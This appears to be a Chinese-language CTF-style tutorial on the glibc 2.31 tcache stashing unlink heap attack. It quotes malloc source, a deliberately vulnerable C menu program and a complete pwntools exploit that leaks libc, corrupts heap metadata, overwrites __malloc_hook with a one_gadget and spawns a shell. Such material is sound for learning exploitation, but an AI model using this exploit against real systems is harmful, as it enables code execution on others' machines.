目录
前言
一、相关源码
二、过程图示
1. Unlink 过程
2. Tcache stash unlink 过程
三、测试与模板
1. 流程实操
2. 相关代码
前言
tcache stashing unlink atttack 主要利用的是 calloc 函数会绕过 tcache 从smallbin 里取出 chunk 的特性。并且 smallbin 分配后,同大小的空闲块挂进会 tcache。攻击可实现两个效果:
1、任意地址上写一个较大的数(和unsortedbin attack 类似)
2、任意地址分配chunk
一、相关源码
if (in_smallbin_range (nb))
{
idx = smallbin_index (nb);
bin = bin_at (av, idx);
if ((victim = last (bin)) != bin)
{
bck = victim->bk;
if (__glibc_unlikely (bck->fd != victim))
malloc_printerr ("malloc(): smallbin double linked list corrupted");
set_inuse_bit_at_offset (victim, nb);
bin->bk = bck;
bck->fd = bin;
if (av != &main_arena)
set_non_main_arena (victim);
check_malloced_chunk (av, victim, nb);
#if USE_TCACHE
/* While we're here, if we see other chunks of the same size,
stash them in the tcache. */
size_t tc_idx = csize2tidx (nb);
if (tcache && tc_idx < mp_.tcache_bins)
{
mchunkptr tc_victim;
/* While bin not empty and tcache not full, copy chunks over. */
while (tcache->counts[tc_idx] < mp_.tcache_count
&& (tc_victim = last (bin)) != bin)
{
if (tc_victim != 0)
{
bck = tc_victim->bk;
set_inuse_bit_at_offset (tc_victim, nb);
if (av != &main_arena)
set_non_main_arena (tc_victim);
bin->bk = bck;
bck->fd = bin;
tcache_put (tc_victim, tc_idx);
}
}
}
#endif
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}
二、过程图示
1. Unlink 过程
相比于算数(指针运算等等)我更习惯用图示,形象地展现过程。如下图所示是一个 small bin 中 chunk 块的链接情况。
当从中取出一块 chunk 时,注意,small bin 是 FIFO 组织的,会从 bk 方向索引 chunk 并取出。在这个所谓取出 chunk 的过程中,实际指针变化:
红色的是修改过的指针,可以看到,只有 smallbin 的 bk 指针以及 victim->bk 的 fd 指针,也就是上图的 chunk2 的 fd 指针进行了修改。
在这一 unlink 的过程中, 会对 (victim->bk)->fd = victim? 进行检查。因此在单纯的 unlink 过程中,劫持 bk 到 fake chunk,是很难伪造满足这一条件的。不过庆幸的是,当触发 tcache stash 的时候 —— smallbin 中同样大小的堆块“倒灌”入对应的 tcachebin 中时,缺乏了这一检查。
2. Tcache stash unlink 过程
初始 free 掉9个 chunk 如下图
使用 malloc 让 tcachebin 中腾出两个位置,然后修改 chunk8 的 bk 指针指向 fake chunk。
当我们 calloc 一块堆块时,会越过 tcache 从 smallbin 中取 chunk
然后触发 tcache stash 将 smallbin 中的 chunk 填充到对应的 tcachebin 中,让我们慢慢填充,首先将 chunk8 填入 tcachebin
注意,填充时首先 unlink,而我们之前说过,unlink 时,会涉及到 (victim->bk)这块 chunk 上指针的修改,因此为方便描述,我们将 fake chunk 的 bk 视作另一个 fake chunk 如下图(和上图阶段一致,只是换了一种表述方式,其实结构还没变化)
然后让我们继续 tcache stash 的步骤,将 fake chunk 填入 tcache
ok,我们惊喜的发现,fake chunk 已经填入了 tcache bin,我们只需要申请一次即可将该 chunk 取出,因而实现了任意地址 malloc。
然而在最后一个过程需要注意,fake chunk2 的 “fd” 指针被修改,而 fake chunk2 又是 fake chunk 的 bk 指针指向的,该 chunk 本来就是非法的,因此我们需要保证,在触发 tcache stash 之前 fake chunk 的 bk 指向一个能够写的合法区域,否则会因为没有写权限而导致段错误。
为此,我们可以利用 largebin attack,往 fake chunk 的 bk 区域写一个堆指针。当然,这只是其中一种方法。
三、测试与模板
1. 流程实操
largebin attack 写入一个可写的指针(堆指针),满足 fake_chunk 的 bk 是一块可写区域
calloc 之前的 bin 情况:
calloc 之后,触发 tcache stash
接下来 malloc 出来 __malloc_hook 然后打 ogg 即可
2. 相关代码
// glibc-2.31
#include<stdlib.h>
#include <stdio.h>
#include <unistd.h>
char *chunk_list[0x100];
void menu() {
puts("1. add chunk");
puts("2. delete chunk");
puts("3. edit chunk");
puts("4. show chunk");
puts("5. exit");
puts("choice:");
}
int get_num() {
char buf[0x10];
read(0, buf, sizeof(buf));
return atoi(buf);
}
void add_chunk() {
puts("index:");
int index = get_num();
puts("size:");
int size = get_num();
puts("calloc?");
int type = get_num();
chunk_list[index] = type == 1 ? calloc(1, size) : malloc(size);
}
void delete_chunk() {
puts("index:");
int index = get_num();
free(chunk_list[index]);
}
void edit_chunk() {
puts("index:");
int index = get_num();
puts("length:");
int length = get_num();
puts("content:");
read(0, chunk_list[index], length);
}
void show_chunk() {
puts("index:");
int index = get_num();
puts(chunk_list[index]);
}
int main() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
while (1) {
menu();
switch (get_num()) {
case 1:
add_chunk();
break;
case 2:
delete_chunk();
break;
case 3:
edit_chunk();
break;
case 4:
show_chunk();
break;
case 5:
exit(0);
default:
puts("invalid choice.");
}
}
}
from pwn import *
elf=ELF('./pwn')
libc=ELF('./libc.so.6')
context.arch=elf.arch
context.log_level='debug'
io=process('./pwn')
def add(index,size,type=0):
io.sendlineafter(b'choice:\n',b'1')
io.sendlineafter(b'index:\n',str(index).encode())
io.sendlineafter(b'size:\n',str(size).encode())
io.sendlineafter("calloc?\n", str(type).encode())
def delete(index):
io.sendlineafter(b'choice:\n',b'2')
io.sendlineafter(b'index:\n',str(index).encode())
def edit(index,length,content):
io.sendlineafter(b'choice:\n',b'3')
io.sendlineafter(b'index',str(index).encode())
io.sendlineafter(b'length:\n',str(length).encode())
io.sendafter(b'content:\n',content)
def show(index):
io.sendlineafter(b'choice:\n',b'4')
io.sendlineafter(b'index:\n',str(index).encode())
gdb.attach(io)
# leak libc
add(0,0x428)
add(1,0x10)
add(2,0x418)
add(3,0x10)
# prepare for tcache stash unlink
for i in range(9):
add(10+i,0x100)
add(4,0x10)
delete(0)
show(0)
libc_base=u64(io.recv(6).ljust(8,b'\x00'))-0x7591b55b6be0+0x7591b5200000
libc.address=libc_base
success(hex(libc_base))
# largebin attack
add(4,0x500)
edit(0,0x20,p64(0)*3+p64(libc.sym['__malloc_hook']+0x8-0x20-0x10))
info("__malloc_hook: "+hex(libc.sym['__malloc_hook']))
delete(2)
add(4,0x500)
# tcache stash unlink
for i in range(9):
delete(10+i)
add(20,0x100)
add(21,0x100)
add(4,0x500)
show(18)
valid_fd=u64(io.recv(6).ljust(8,b'\x00'))
edit(18,0x10,p64(valid_fd)+p64(libc.sym['__malloc_hook']-0x10-0x10)) # 注意要恢复fd
add(4,0x100,1)
add(0,0x100)
'''
0xc5c4a execve("/bin/sh", r13, r12)
constraints:
[r13] == NULL || r13 == NULL || r13 is a valid argv
[r12] == NULL || r12 == NULL || r12 is a valid envp
0xc5c4d execve("/bin/sh", r13, rdx)
constraints:
[r13] == NULL || r13 == NULL || r13 is a valid argv
[rdx] == NULL || rdx == NULL || rdx is a valid envp
0xc5c50 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL || rsi is a valid argv
[rdx] == NULL || rdx == NULL || rdx is a valid envp
'''
edit(0,0x18,p64(0)*2+p64(libc.address+0xc5c4d))
add(0,0x100)
io.interactive()